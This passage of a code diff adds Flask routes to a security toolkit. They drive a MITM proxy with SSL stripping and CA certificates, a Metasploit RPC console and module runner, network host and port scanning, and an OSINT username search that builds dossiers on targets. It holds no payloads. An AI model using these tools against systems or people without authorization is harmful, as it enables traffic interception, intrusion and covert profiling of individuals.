data = request.get_json(silent=True) or {}
return jsonify(_get_sandbox().generate_report(data.get('path', '')))
@malware_sandbox_bp.route('/reports')
@login_required
def reports():
return jsonify(_get_sandbox().list_reports())
@malware_sandbox_bp.route('/job/<job_id>')
@login_required
def job_status(job_id):
job = _get_sandbox().get_job(job_id)
return jsonify(job or {'error': 'Job not found'})

170
web/routes/mitm_proxy.py Normal file
View File

@@ -0,0 +1,170 @@
"""MITM Proxy routes."""
from flask import Blueprint, request, jsonify, render_template, Response
from web.auth import login_required
mitm_proxy_bp = Blueprint('mitm_proxy', __name__, url_prefix='/mitm-proxy')
def _get_proxy():
from modules.mitm_proxy import get_mitm_proxy
return get_mitm_proxy()
# ── Pages ────────────────────────────────────────────────────────────────
@mitm_proxy_bp.route('/')
@login_required
def index():
return render_template('mitm_proxy.html')
# ── Proxy Lifecycle ──────────────────────────────────────────────────────
@mitm_proxy_bp.route('/start', methods=['POST'])
@login_required
def start():
data = request.get_json(silent=True) or {}
result = _get_proxy().start(
listen_host=data.get('host', '127.0.0.1'),
listen_port=int(data.get('port', 8888)),
upstream_proxy=data.get('upstream', None),
)
return jsonify(result)
@mitm_proxy_bp.route('/stop', methods=['POST'])
@login_required
def stop():
return jsonify(_get_proxy().stop())
@mitm_proxy_bp.route('/status')
@login_required
def status():
return jsonify(_get_proxy().get_status())
# ── SSL Strip ────────────────────────────────────────────────────────────
@mitm_proxy_bp.route('/ssl-strip', methods=['POST'])
@login_required
def ssl_strip():
data = request.get_json(silent=True) or {}
enabled = data.get('enabled', True)
return jsonify(_get_proxy().ssl_strip_mode(enabled))
# ── Certificate Management ──────────────────────────────────────────────
@mitm_proxy_bp.route('/cert/generate', methods=['POST'])
@login_required
def cert_generate():
return jsonify(_get_proxy().generate_ca_cert())
@mitm_proxy_bp.route('/cert')
@login_required
def cert_download():
result = _get_proxy().get_ca_cert()
if not result.get('success'):
return jsonify(result), 404
# Return PEM as downloadable file
return Response(
result['pem'],
mimetype='application/x-pem-file',
headers={'Content-Disposition': 'attachment; filename=autarch-ca.pem'}
)
@mitm_proxy_bp.route('/certs')
@login_required
def cert_list():
return jsonify({'certs': _get_proxy().get_certs()})
# ── Rules ────────────────────────────────────────────────────────────────
@mitm_proxy_bp.route('/rules', methods=['POST'])
@login_required
def add_rule():
data = request.get_json(silent=True) or {}
return jsonify(_get_proxy().add_rule(data))
@mitm_proxy_bp.route('/rules/<int:rule_id>', methods=['DELETE'])
@login_required
def remove_rule(rule_id):
return jsonify(_get_proxy().remove_rule(rule_id))
@mitm_proxy_bp.route('/rules')
@login_required
def list_rules():
return jsonify({'rules': _get_proxy().list_rules()})
@mitm_proxy_bp.route('/rules/<int:rule_id>/toggle', methods=['POST'])
@login_required
def toggle_rule(rule_id):
proxy = _get_proxy()
for rule in proxy.list_rules():
if rule['id'] == rule_id:
if rule['enabled']:
return jsonify(proxy.disable_rule(rule_id))
else:
return jsonify(proxy.enable_rule(rule_id))
return jsonify({'success': False, 'error': f'Rule {rule_id} not found'}), 404
# ── Traffic Log ──────────────────────────────────────────────────────────
@mitm_proxy_bp.route('/traffic')
@login_required
def get_traffic():
limit = int(request.args.get('limit', 100))
offset = int(request.args.get('offset', 0))
filter_url = request.args.get('filter_url', None)
filter_method = request.args.get('filter_method', None)
filter_status = request.args.get('filter_status', None)
return jsonify(_get_proxy().get_traffic(
limit=limit, offset=offset,
filter_url=filter_url, filter_method=filter_method,
filter_status=filter_status,
))
@mitm_proxy_bp.route('/traffic/<int:traffic_id>')
@login_required
def get_request_detail(traffic_id):
return jsonify(_get_proxy().get_request(traffic_id))
@mitm_proxy_bp.route('/traffic', methods=['DELETE'])
@login_required
def clear_traffic():
return jsonify(_get_proxy().clear_traffic())
@mitm_proxy_bp.route('/traffic/export')
@login_required
def export_traffic():
fmt = request.args.get('format', 'json')
result = _get_proxy().export_traffic(fmt=fmt)
if not result.get('success'):
return jsonify(result), 400
if fmt == 'json':
return Response(
result['data'],
mimetype='application/json',
headers={'Content-Disposition': 'attachment; filename=mitm_traffic.json'}
)
elif fmt == 'csv':
return Response(
result['data'],
mimetype='text/csv',
headers={'Content-Disposition': 'attachment; filename=mitm_traffic.csv'}
)
return jsonify(result)

64
web/routes/msf.py Normal file
View File

@@ -0,0 +1,64 @@
"""MSF RPC Console page — raw console interaction and connection management."""
from flask import Blueprint, render_template, request, jsonify
from web.auth import login_required
msf_bp = Blueprint('msf', __name__, url_prefix='/msf')
@msf_bp.route('/')
@login_required
def index():
return render_template('msf.html')
@msf_bp.route('/status')
@login_required
def status():
"""Check MSF connection status."""
try:
from core.msf_interface import get_msf_interface
msf = get_msf_interface()
result = {'connected': msf.is_connected}
if msf.is_connected:
try:
settings = msf.manager.get_settings()
result['host'] = settings.get('host', 'localhost')
result['port'] = settings.get('port', 55553)
except Exception:
pass
return jsonify(result)
except Exception:
return jsonify({'connected': False})
@msf_bp.route('/connect', methods=['POST'])
@login_required
def connect():
"""Reconnect to MSF RPC."""
try:
from core.msf_interface import get_msf_interface
msf = get_msf_interface()
ok, msg = msf.ensure_connected()
return jsonify({'connected': ok, 'message': msg})
except Exception as e:
return jsonify({'connected': False, 'error': str(e)})
@msf_bp.route('/console/send', methods=['POST'])
@login_required
def console_send():
"""Send a command to the MSF console and return output."""
data = request.get_json(silent=True) or {}
cmd = data.get('cmd', '').strip()
if not cmd:
return jsonify({'output': ''})
try:
from core.msf_interface import get_msf_interface
msf = get_msf_interface()
if not msf.is_connected:
return jsonify({'error': 'Not connected to MSF RPC'})
ok, output = msf.run_console_command(cmd)
return jsonify({'output': output, 'ok': ok})
except Exception as e:
return jsonify({'error': str(e)})

85
web/routes/net_mapper.py Normal file
View File

@@ -0,0 +1,85 @@
"""Network Topology Mapper — web routes."""
from flask import Blueprint, render_template, request, jsonify
from web.auth import login_required
net_mapper_bp = Blueprint('net_mapper', __name__)
def _svc():
from modules.net_mapper import get_net_mapper
return get_net_mapper()
@net_mapper_bp.route('/net-mapper/')
@login_required
def index():
return render_template('net_mapper.html')
@net_mapper_bp.route('/net-mapper/discover', methods=['POST'])
@login_required
def discover():
data = request.get_json(silent=True) or {}
target = data.get('target', '').strip()
if not target:
return jsonify({'ok': False, 'error': 'Target required'})
return jsonify(_svc().discover_hosts(target, method=data.get('method', 'auto')))
@net_mapper_bp.route('/net-mapper/discover/<job_id>', methods=['GET'])
@login_required
def discover_status(job_id):
return jsonify(_svc().get_job_status(job_id))
@net_mapper_bp.route('/net-mapper/scan-host', methods=['POST'])
@login_required
def scan_host():
data = request.get_json(silent=True) or {}
ip = data.get('ip', '').strip()
if not ip:
return jsonify({'ok': False, 'error': 'IP required'})
return jsonify(_svc().scan_host(ip,
port_range=data.get('port_range', '1-1024'),
service_detection=data.get('service_detection', True),
os_detection=data.get('os_detection', True)))
@net_mapper_bp.route('/net-mapper/topology', methods=['POST'])
@login_required
def build_topology():
data = request.get_json(silent=True) or {}
hosts = data.get('hosts', [])
return jsonify({'ok': True, **_svc().build_topology(hosts)})
@net_mapper_bp.route('/net-mapper/scans', methods=['GET'])
@login_required
def list_scans():
return jsonify({'ok': True, 'scans': _svc().list_scans()})
@net_mapper_bp.route('/net-mapper/scans', methods=['POST'])
@login_required
def save_scan():
data = request.get_json(silent=True) or {}
name = data.get('name', 'unnamed')
hosts = data.get('hosts', [])
return jsonify(_svc().save_scan(name, hosts))
@net_mapper_bp.route('/net-mapper/scans/<filename>', methods=['GET'])
@login_required
def load_scan(filename):
data = _svc().load_scan(filename)
if data:
return jsonify({'ok': True, 'scan': data})
return jsonify({'ok': False, 'error': 'Scan not found'})
@net_mapper_bp.route('/net-mapper/diff', methods=['POST'])
@login_required
def diff_scans():
data = request.get_json(silent=True) or {}
return jsonify(_svc().diff_scans(data.get('scan1', ''), data.get('scan2', '')))

392
web/routes/offense.py Normal file
View File

@@ -0,0 +1,392 @@
"""Offense category route - MSF server control, module search, sessions, browsing, execution."""
import json
import threading
import uuid
from flask import Blueprint, render_template, request, jsonify, Response
from web.auth import login_required
_running_jobs: dict = {} # job_id -> threading.Event (stop signal)
offense_bp = Blueprint('offense', __name__, url_prefix='/offense')
@offense_bp.route('/')
@login_required
def index():
from core.menu import MainMenu
menu = MainMenu()
menu.load_modules()
modules = {k: v for k, v in menu.modules.items() if v.category == 'offense'}
return render_template('offense.html', modules=modules)
@offense_bp.route('/status')
@login_required
def status():
"""Get MSF connection and server status."""
try:
from core.msf_interface import get_msf_interface
from core.msf import get_msf_manager
msf = get_msf_interface()
mgr = get_msf_manager()
connected = msf.is_connected
settings = mgr.get_settings()
# Check if server process is running
server_running, server_pid = mgr.detect_server()
result = {
'connected': connected,
'server_running': server_running,
'server_pid': server_pid,
'host': settings.get('host', '127.0.0.1'),
'port': settings.get('port', 55553),
'username': settings.get('username', 'msf'),
'ssl': settings.get('ssl', True),
'has_password': bool(settings.get('password', '')),
}
if connected:
try:
version = msf.manager.rpc.get_version()
result['version'] = version.get('version', '')
except Exception:
pass
return jsonify(result)
except Exception as e:
return jsonify({'connected': False, 'server_running': False, 'error': str(e)})
@offense_bp.route('/connect', methods=['POST'])
@login_required
def connect():
"""Connect to MSF RPC server."""
data = request.get_json(silent=True) or {}
password = data.get('password', '').strip()
try:
from core.msf import get_msf_manager
mgr = get_msf_manager()
settings = mgr.get_settings()
# Use provided password or saved one
pwd = password or settings.get('password', '')
if not pwd:
return jsonify({'ok': False, 'error': 'Password required'})
mgr.connect(pwd)
version = mgr.rpc.get_version() if mgr.rpc else {}
return jsonify({
'ok': True,
'version': version.get('version', 'Connected')
})
except Exception as e:
return jsonify({'ok': False, 'error': str(e)})
@offense_bp.route('/disconnect', methods=['POST'])
@login_required
def disconnect():
"""Disconnect from MSF RPC server."""
try:
from core.msf import get_msf_manager
mgr = get_msf_manager()
mgr.disconnect()
return jsonify({'ok': True})
except Exception as e:
return jsonify({'ok': False, 'error': str(e)})
@offense_bp.route('/server/start', methods=['POST'])
@login_required
def start_server():
"""Start the MSF RPC server."""
data = request.get_json(silent=True) or {}
try:
from core.msf import get_msf_manager
mgr = get_msf_manager()
settings = mgr.get_settings()
username = data.get('username', '').strip() or settings.get('username', 'msf')
password = data.get('password', '').strip() or settings.get('password', '')
host = data.get('host', '').strip() or settings.get('host', '127.0.0.1')
port = int(data.get('port', 0) or settings.get('port', 55553))
use_ssl = data.get('ssl', settings.get('ssl', True))
if not password:
return jsonify({'ok': False, 'error': 'Password required to start server'})
# Save settings
mgr.save_settings(host, port, username, password, use_ssl)
# Kill existing server if running
is_running, _ = mgr.detect_server()
if is_running:
mgr.kill_server(use_sudo=False)
# Start server (no sudo on web — would hang waiting for password)
import sys
use_sudo = sys.platform != 'win32' and data.get('sudo', False)
ok = mgr.start_server(username, password, host, port, use_ssl, use_sudo=use_sudo)
if ok:
# Auto-connect after starting
try:
mgr.connect(password)
version = mgr.rpc.get_version() if mgr.rpc else {}
return jsonify({
'ok': True,
'message': 'Server started and connected',
'version': version.get('version', '')
})
except Exception:
return jsonify({'ok': True, 'message': 'Server started (connect manually)'})
else:
return jsonify({'ok': False, 'error': 'Failed to start server'})
except Exception as e:
return jsonify({'ok': False, 'error': str(e)})
@offense_bp.route('/server/stop', methods=['POST'])
@login_required
def stop_server():
"""Stop the MSF RPC server."""
try:
from core.msf import get_msf_manager
mgr = get_msf_manager()
ok = mgr.kill_server(use_sudo=False)
return jsonify({'ok': ok})
except Exception as e:
return jsonify({'ok': False, 'error': str(e)})
@offense_bp.route('/settings', methods=['POST'])
@login_required
def save_settings():
"""Save MSF connection settings."""
data = request.get_json(silent=True) or {}
try:
from core.msf import get_msf_manager
mgr = get_msf_manager()
mgr.save_settings(
host=data.get('host', '127.0.0.1'),
port=int(data.get('port', 55553)),
username=data.get('username', 'msf'),
password=data.get('password', ''),
use_ssl=data.get('ssl', True),
)
return jsonify({'ok': True})
except Exception as e:
return jsonify({'ok': False, 'error': str(e)})
@offense_bp.route('/jobs')
@login_required
def list_jobs():
"""List running MSF jobs."""
try:
from core.msf_interface import get_msf_interface
msf = get_msf_interface()
if not msf.is_connected:
return jsonify({'jobs': {}, 'error': 'Not connected to MSF'})
jobs = msf.list_jobs()
return jsonify({'jobs': jobs})
except Exception as e:
return jsonify({'jobs': {}, 'error': str(e)})
@offense_bp.route('/jobs/<job_id>/stop', methods=['POST'])
@login_required
def stop_job(job_id):
"""Stop a running MSF job."""
try:
from core.msf_interface import get_msf_interface
msf = get_msf_interface()
ok = msf.stop_job(job_id)
return jsonify({'ok': ok})
except Exception as e:
return jsonify({'ok': False, 'error': str(e)})
@offense_bp.route('/search', methods=['POST'])
@login_required
def search():
"""Search MSF modules (offline library first, then live if connected)."""
data = request.get_json(silent=True) or {}
query = data.get('query', '').strip()
if not query:
return jsonify({'error': 'No search query provided'})
# Search offline library first
try:
from core.msf_modules import search_modules as offline_search
results = offline_search(query, max_results=30)
modules = [{'path': r['path'], 'name': r.get('name', ''), 'description': r.get('description', '')} for r in results]
except Exception:
modules = []
# If no offline results and MSF is connected, try live search
if not modules:
try:
from core.msf_interface import get_msf_interface
msf = get_msf_interface()
if msf.is_connected:
live_results = msf.search_modules(query)
modules = [{'path': r, 'name': r.split('/')[-1] if isinstance(r, str) else '', 'description': ''} for r in live_results[:30]]
except Exception:
pass
return jsonify({'modules': modules})
@offense_bp.route('/sessions')
@login_required
def sessions():
"""List active MSF sessions."""
try:
from core.msf_interface import get_msf_interface
msf = get_msf_interface()
if not msf.is_connected:
return jsonify({'sessions': {}, 'error': 'Not connected to MSF'})
sessions_data = msf.list_sessions()
# Convert session data to serializable format
result = {}
for sid, sinfo in sessions_data.items():
if isinstance(sinfo, dict):
result[str(sid)] = sinfo
else:
result[str(sid)] = {
'type': getattr(sinfo, 'type', ''),
'tunnel_peer': getattr(sinfo, 'tunnel_peer', ''),
'info': getattr(sinfo, 'info', ''),
'target_host': getattr(sinfo, 'target_host', ''),
}
return jsonify({'sessions': result})
except Exception as e:
return jsonify({'sessions': {}, 'error': str(e)})
@offense_bp.route('/modules/<module_type>')
@login_required
def browse_modules(module_type):
"""Browse modules by type from offline library."""
page = request.args.get('page', 1, type=int)
per_page = 20
try:
from core.msf_modules import get_modules_by_type
all_modules = get_modules_by_type(module_type)
start = (page - 1) * per_page
end = start + per_page
page_modules = all_modules[start:end]
modules = [{'path': m['path'], 'name': m.get('name', '')} for m in page_modules]
return jsonify({
'modules': modules,
'total': len(all_modules),
'page': page,
'has_more': end < len(all_modules),
})
except Exception as e:
return jsonify({'modules': [], 'error': str(e)})
@offense_bp.route('/module/info', methods=['POST'])
@login_required
def module_info():
"""Get module info."""
data = request.get_json(silent=True) or {}
module_path = data.get('module_path', '').strip()
if not module_path:
return jsonify({'error': 'No module path provided'})
# Try offline library first
try:
from core.msf_modules import get_module_info
info = get_module_info(module_path)
if info:
return jsonify({
'path': module_path,
'name': info.get('name', ''),
'description': info.get('description', ''),
'author': info.get('author', []),
'platforms': info.get('platforms', []),
'reliability': info.get('reliability', ''),
'options': info.get('options', []),
'notes': info.get('notes', ''),
})
except Exception:
pass
# Try live MSF
try:
from core.msf_interface import get_msf_interface
msf = get_msf_interface()
if msf.is_connected:
info = msf.get_module_info(module_path)
if info:
return jsonify({
'path': module_path,
**info
})
except Exception:
pass
return jsonify({'error': f'Module not found: {module_path}'})
@offense_bp.route('/module/run', methods=['POST'])
@login_required
def run_module():
"""Run an MSF module and stream output via SSE."""
data = request.get_json(silent=True) or {}
module_path = data.get('module_path', '').strip()
options = data.get('options', {})
if not module_path:
return jsonify({'error': 'No module_path provided'})
job_id = str(uuid.uuid4())
stop_event = threading.Event()
_running_jobs[job_id] = stop_event
def generate():
yield f"data: {json.dumps({'status': 'running', 'job_id': job_id})}\n\n"
try:
from core.msf_interface import get_msf_interface
msf = get_msf_interface()
if not msf.is_connected:
yield f"data: {json.dumps({'error': 'Not connected to MSF'})}\n\n"
return
result = msf.run_module(module_path, options)
for line in (result.cleaned_output or '').splitlines():
if stop_event.is_set():
break
yield f"data: {json.dumps({'line': line})}\n\n"
yield f"data: {json.dumps({'done': True, 'findings': result.findings, 'services': result.services, 'open_ports': result.open_ports})}\n\n"
except Exception as e:
yield f"data: {json.dumps({'error': str(e)})}\n\n"
finally:
_running_jobs.pop(job_id, None)
return Response(generate(), mimetype='text/event-stream',
headers={'Cache-Control': 'no-cache', 'X-Accel-Buffering': 'no'})
@offense_bp.route('/module/stop', methods=['POST'])
@login_required
def stop_module():
"""Stop a running module job."""
data = request.get_json(silent=True) or {}
job_id = data.get('job_id', '')
ev = _running_jobs.get(job_id)
if ev:
ev.set()
return jsonify({'stopped': bool(ev)})

550
web/routes/osint.py Normal file
View File

@@ -0,0 +1,550 @@
"""OSINT category route - advanced search engine with SSE, dossier management, export."""
import json
import os
import re
import time
import threading
import urllib.request
import urllib.error
from pathlib import Path
from datetime import datetime
from random import randint
from urllib.parse import urlparse
from concurrent.futures import ThreadPoolExecutor, as_completed
from flask import Blueprint, render_template, request, Response, current_app, jsonify, stream_with_context
from web.auth import login_required
osint_bp = Blueprint('osint', __name__, url_prefix='/osint')
# Dossier storage directory
from core.paths import get_data_dir
DOSSIER_DIR = get_data_dir() / 'dossiers'
DOSSIER_DIR.mkdir(parents=True, exist_ok=True)
# User agents for rotation
USER_AGENTS = [
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
'Mozilla/5.0 (X11; Linux x86_64; rv:120.0) Gecko/20100101 Firefox/120.0',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0',
]
# WAF / challenge page patterns
WAF_PATTERNS = re.compile(
r'cloudflare|captcha|challenge|please wait|checking your browser|'
r'access denied|blocked|rate limit|too many requests',
re.IGNORECASE
)
# Not-found generic strings
NOT_FOUND_STRINGS = [
'page not found', 'user not found', 'profile not found', 'account not found',
'no user', 'does not exist', 'doesn\'t exist', '404', 'not exist',
'could not be found', 'no results', 'this page is not available',
]
# Found generic strings (with {username} placeholder)
FOUND_STRINGS = [
'{username}', '@{username}',
]
def _check_site(site, username, timeout=8, user_agent=None, proxy=None):
"""Check if username exists on a site using detection patterns.
Returns result dict or None if not found.
"""
try:
time.sleep(randint(5, 50) / 1000)
url = site['url'].replace('{}', username).replace('{username}', username).replace('{account}', username)
headers = {
'User-Agent': user_agent or USER_AGENTS[randint(0, len(USER_AGENTS) - 1)],
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.9',
'Connection': 'keep-alive',
}
req = urllib.request.Request(url, headers=headers)
# Proxy support
opener = None
if proxy:
proxy_handler = urllib.request.ProxyHandler({'http': proxy, 'https': proxy})
opener = urllib.request.build_opener(proxy_handler)
error_type = site.get('error_type', 'status_code')
error_code = site.get('error_code')
error_string = (site.get('error_string') or '').strip() or None
match_string = (site.get('match_string') or '').strip() or None
try:
if opener:
response = opener.open(req, timeout=timeout)
else:
response = urllib.request.urlopen(req, timeout=timeout)
status_code = response.getcode()
final_url = response.geturl()
raw_content = response.read()
content = raw_content.decode('utf-8', errors='ignore')
content_lower = content.lower()
content_len = len(content)
# Extract title
title = ''
title_match = re.search(r'<title[^>]*>([^<]+)</title>', content, re.IGNORECASE)
if title_match:
title = title_match.group(1).strip()
response.close()
# WAF/Challenge detection
cf_patterns = ['just a moment', 'checking your browser', 'cf-browser-verification', 'cf_chl_opt']
if any(p in content_lower for p in cf_patterns):
return {
'name': site['name'], 'url': url, 'category': site.get('category', ''),
'status': 'filtered', 'rate': 0, 'title': 'filtered',
}
if WAF_PATTERNS.search(content) and content_len < 5000:
return {
'name': site['name'], 'url': url, 'category': site.get('category', ''),
'status': 'filtered', 'rate': 0, 'title': 'filtered',
}
# Detection
username_lower = username.lower()
not_found_texts = []
check_texts = []
if error_string:
not_found_texts.append(error_string.lower())
if match_string:
check_texts.append(
match_string.replace('{username}', username).replace('{account}', username).lower()
)
# Status code detection
if error_type == 'status_code':
if error_code and status_code == error_code:
return None
if status_code >= 400:
return None
# Redirect detection
if error_type in ('response_url', 'redirection'):
if final_url != url and username_lower not in final_url.lower():
parsed = urlparse(final_url)
if parsed.netloc.lower() != urlparse(url).netloc.lower():
return None
fp_paths = ['login', 'signup', 'register', 'error', '404', 'home']
if any(fp in final_url.lower() for fp in fp_paths):
return None
# Pattern matching
not_found_matched = any(nf in content_lower for nf in not_found_texts if nf)
check_matched = any(ct in content_lower for ct in check_texts if ct)
# Fallback generic patterns
if not not_found_texts:
not_found_matched = any(nf in content_lower for nf in NOT_FOUND_STRINGS)
if not_found_matched:
return None
username_in_content = username_lower in content_lower
username_in_title = username_lower in title.lower() if title else False
# Calculate confidence
if check_matched and (username_in_content or username_in_title):
status = 'good'
rate = min(100, 70 + (10 if username_in_title else 0) + (10 if username_in_content else 0))
elif check_matched:
status = 'maybe'
rate = 55
elif username_in_content and status_code == 200:
status = 'maybe'
rate = 45
elif status_code == 200 and content_len > 1000:
status = 'maybe'
rate = 30
else:
return None
if content_len < 500 and not check_matched and not username_in_content:
return None
if rate < 30:
return None
return {
'name': site['name'],
'url': url,
'category': site.get('category', ''),
'status': status,
'rate': rate,
'title': title[:100] if title else '',
'http_code': status_code,
'method': error_type or 'status',
}
except urllib.error.HTTPError as e:
if error_code and e.code == error_code:
return None
if e.code == 404:
return None
if e.code in [403, 401]:
return {
'name': site['name'], 'url': url, 'category': site.get('category', ''),
'status': 'restricted', 'rate': 0,
}
return None
except (urllib.error.URLError, TimeoutError, OSError):
return None
except Exception:
return None
except Exception:
return None
@osint_bp.route('/')
@login_required
def index():
from core.menu import MainMenu
menu = MainMenu()
menu.load_modules()
modules = {k: v for k, v in menu.modules.items() if v.category == 'osint'}
categories = []
db_stats = {}
try:
from core.sites_db import get_sites_db
db = get_sites_db()
categories = db.get_categories()
db_stats = db.get_stats()
except Exception:
pass
config = current_app.autarch_config
osint_settings = config.get_osint_settings()
return render_template('osint.html',
modules=modules,
categories=categories,
osint_settings=osint_settings,
db_stats=db_stats,
)
@osint_bp.route('/categories')
@login_required
def get_categories():
"""Get site categories with counts."""
try:
from core.sites_db import get_sites_db
db = get_sites_db()
cats = db.get_categories()
return jsonify({'categories': [{'name': c[0], 'count': c[1]} for c in cats]})
except Exception as e:
return jsonify({'error': str(e), 'categories': []})
@osint_bp.route('/stats')
@login_required
def db_stats():
"""Get sites database statistics."""
try:
from core.sites_db import get_sites_db
db = get_sites_db()
stats = db.get_stats()
return jsonify(stats)
except Exception as e:
return jsonify({'error': str(e)})
@osint_bp.route('/search/stream')
@login_required
def search_stream():
"""SSE endpoint for real-time OSINT search with proper detection."""
search_type = request.args.get('type', 'username')
query = request.args.get('q', '').strip()
max_sites = int(request.args.get('max', 500))
include_nsfw = request.args.get('nsfw', 'false') == 'true'
categories_str = request.args.get('categories', '')
timeout = int(request.args.get('timeout', 8))
threads = int(request.args.get('threads', 8))
user_agent = request.args.get('ua', '') or None
proxy = request.args.get('proxy', '') or None
# Clamp values
timeout = max(3, min(30, timeout))
threads = max(1, min(20, threads))
if max_sites == 0:
max_sites = 10000 # "Full" mode
if not query:
return Response('data: {"error": "No query provided"}\n\n',
content_type='text/event-stream')
def generate():
try:
from core.sites_db import get_sites_db
db = get_sites_db()
cat_filter = [c.strip() for c in categories_str.split(',') if c.strip()] if categories_str else None
sites = db.get_sites_for_scan(
categories=cat_filter,
include_nsfw=include_nsfw,
max_sites=max_sites,
)
total = len(sites)
yield f'data: {json.dumps({"type": "start", "total": total})}\n\n'
checked = 0
found = 0
maybe = 0
filtered = 0
results_list = []
# Use ThreadPoolExecutor for concurrent scanning
with ThreadPoolExecutor(max_workers=threads) as executor:
future_to_site = {}
for site in sites:
future = executor.submit(
_check_site, site, query,
timeout=timeout,
user_agent=user_agent,
proxy=proxy,
)
future_to_site[future] = site
for future in as_completed(future_to_site):
checked += 1
site = future_to_site[future]
result_data = {
'type': 'result',
'site': site['name'],
'category': site.get('category', ''),
'checked': checked,
'total': total,
'status': 'not_found',
}
try:
result = future.result()
if result:
result_data['status'] = result.get('status', 'not_found')
result_data['url'] = result.get('url', '')
result_data['rate'] = result.get('rate', 0)
result_data['title'] = result.get('title', '')
result_data['http_code'] = result.get('http_code', 0)
result_data['method'] = result.get('method', '')
if result['status'] == 'good':
found += 1
results_list.append(result)
elif result['status'] == 'maybe':
maybe += 1
results_list.append(result)
elif result['status'] == 'filtered':
filtered += 1
except Exception:
result_data['status'] = 'error'
yield f'data: {json.dumps(result_data)}\n\n'
yield f'data: {json.dumps({"type": "done", "total": total, "checked": checked, "found": found, "maybe": maybe, "filtered": filtered})}\n\n'
except Exception as e:
yield f'data: {json.dumps({"type": "error", "message": str(e)})}\n\n'
return Response(stream_with_context(generate()), content_type='text/event-stream')
# ==================== DOSSIER MANAGEMENT ====================
def _load_dossier(dossier_id):
"""Load a dossier from disk."""
path = DOSSIER_DIR / f'{dossier_id}.json'
if not path.exists():
return None
with open(path) as f:
return json.load(f)
def _save_dossier(dossier):
"""Save a dossier to disk."""
path = DOSSIER_DIR / f'{dossier["id"]}.json'
with open(path, 'w') as f:
json.dump(dossier, f, indent=2)
def _list_dossiers():
"""List all dossiers."""
dossiers = []
for f in sorted(DOSSIER_DIR.glob('*.json'), key=lambda p: p.stat().st_mtime, reverse=True):
try:
with open(f) as fh:
d = json.load(fh)
dossiers.append({
'id': d['id'],
'name': d['name'],
'target': d.get('target', ''),
'created': d.get('created', ''),
'updated': d.get('updated', ''),
'result_count': len(d.get('results', [])),
'notes': d.get('notes', '')[:100],
})
except Exception:
continue
return dossiers
@osint_bp.route('/dossiers')
@login_required
def list_dossiers():
"""List all dossiers."""
return jsonify({'dossiers': _list_dossiers()})
@osint_bp.route('/dossier', methods=['POST'])
@login_required
def create_dossier():
"""Create a new dossier."""
data = request.get_json(silent=True) or {}
name = data.get('name', '').strip()
target = data.get('target', '').strip()
if not name:
return jsonify({'error': 'Dossier name required'})
dossier_id = datetime.now().strftime('%Y%m%d_%H%M%S')
dossier = {
'id': dossier_id,
'name': name,
'target': target,
'created': datetime.now().isoformat(),
'updated': datetime.now().isoformat(),
'notes': '',
'results': [],
}
_save_dossier(dossier)
return jsonify({'success': True, 'dossier': dossier})
@osint_bp.route('/dossier/<dossier_id>')
@login_required
def get_dossier(dossier_id):
"""Get dossier details."""
dossier = _load_dossier(dossier_id)
if not dossier:
return jsonify({'error': 'Dossier not found'})
return jsonify({'dossier': dossier})
@osint_bp.route('/dossier/<dossier_id>', methods=['PUT'])
@login_required
def update_dossier(dossier_id):
"""Update dossier (notes, name)."""
dossier = _load_dossier(dossier_id)
if not dossier:
return jsonify({'error': 'Dossier not found'})
data = request.get_json(silent=True) or {}
if 'name' in data:
dossier['name'] = data['name']
if 'notes' in data:
dossier['notes'] = data['notes']
dossier['updated'] = datetime.now().isoformat()
_save_dossier(dossier)
return jsonify({'success': True})
@osint_bp.route('/dossier/<dossier_id>', methods=['DELETE'])
@login_required
def delete_dossier(dossier_id):
"""Delete a dossier."""
path = DOSSIER_DIR / f'{dossier_id}.json'
if path.exists():
path.unlink()
return jsonify({'success': True})
return jsonify({'error': 'Dossier not found'})
@osint_bp.route('/dossier/<dossier_id>/add', methods=['POST'])
@login_required
def add_to_dossier(dossier_id):
"""Add search results to a dossier."""
dossier = _load_dossier(dossier_id)
if not dossier:
return jsonify({'error': 'Dossier not found'})
data = request.get_json(silent=True) or {}
results = data.get('results', [])
if not results:
return jsonify({'error': 'No results to add'})
existing_urls = {r.get('url') for r in dossier['results']}
added = 0
for r in results:
if r.get('url') and r['url'] not in existing_urls:
dossier['results'].append({
'name': r.get('name', ''),
'url': r['url'],
'category': r.get('category', ''),
'status': r.get('status', ''),
'rate': r.get('rate', 0),
'added': datetime.now().isoformat(),
})
existing_urls.add(r['url'])
added += 1
dossier['updated'] = datetime.now().isoformat()
_save_dossier(dossier)
return jsonify({'success': True, 'added': added, 'total': len(dossier['results'])})
# ==================== EXPORT ====================
@osint_bp.route('/export', methods=['POST'])
@login_required
def export_results():
"""Export search results in various formats."""
data = request.get_json(silent=True) or {}
results = data.get('results', [])
fmt = data.get('format', 'json')
query = data.get('query', 'unknown')
if not results:
return jsonify({'error': 'No results to export'})
export_dir = get_data_dir() / 'exports'
export_dir.mkdir(parents=True, exist_ok=True)
timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
if fmt == 'csv':
filename = f'osint_{query}_{timestamp}.csv'
filepath = export_dir / filename
lines = ['Site,URL,Category,Status,Confidence']
for r in results:
line = f'{r.get("name","")},{r.get("url","")},{r.get("category","")},{r.get("status","")},{r.get("rate",0)}'
lines.append(line)
filepath.write_text('\n'.join(lines))
else:
filename = f'osint_{query}_{timestamp}.json'
filepath = export_dir / filename
export_data = {
'query': query,
'exported': datetime.now().isoformat(),
'total_results': len(results),
'results': results,
}
filepath.write_text(json.dumps(export_data, indent=2))
return jsonify({'success': True, 'filename': filename, 'path': str(filepath)})

View File

@@ -0,0 +1,144 @@
"""Password Toolkit — web routes for hash cracking, generation, and auditing."""
from flask import Blueprint, render_template, request, jsonify
from web.auth import login_required
password_toolkit_bp = Blueprint('password_toolkit', __name__)
def _svc():
from modules.password_toolkit import get_password_toolkit
return get_password_toolkit()
@password_toolkit_bp.route('/password-toolkit/')
@login_required
def index():
return render_template('password_toolkit.html')
@password_toolkit_bp.route('/password-toolkit/identify', methods=['POST'])
@login_required
def identify_hash():
data = request.get_json(silent=True) or {}
hashes = data.get('hashes', [])
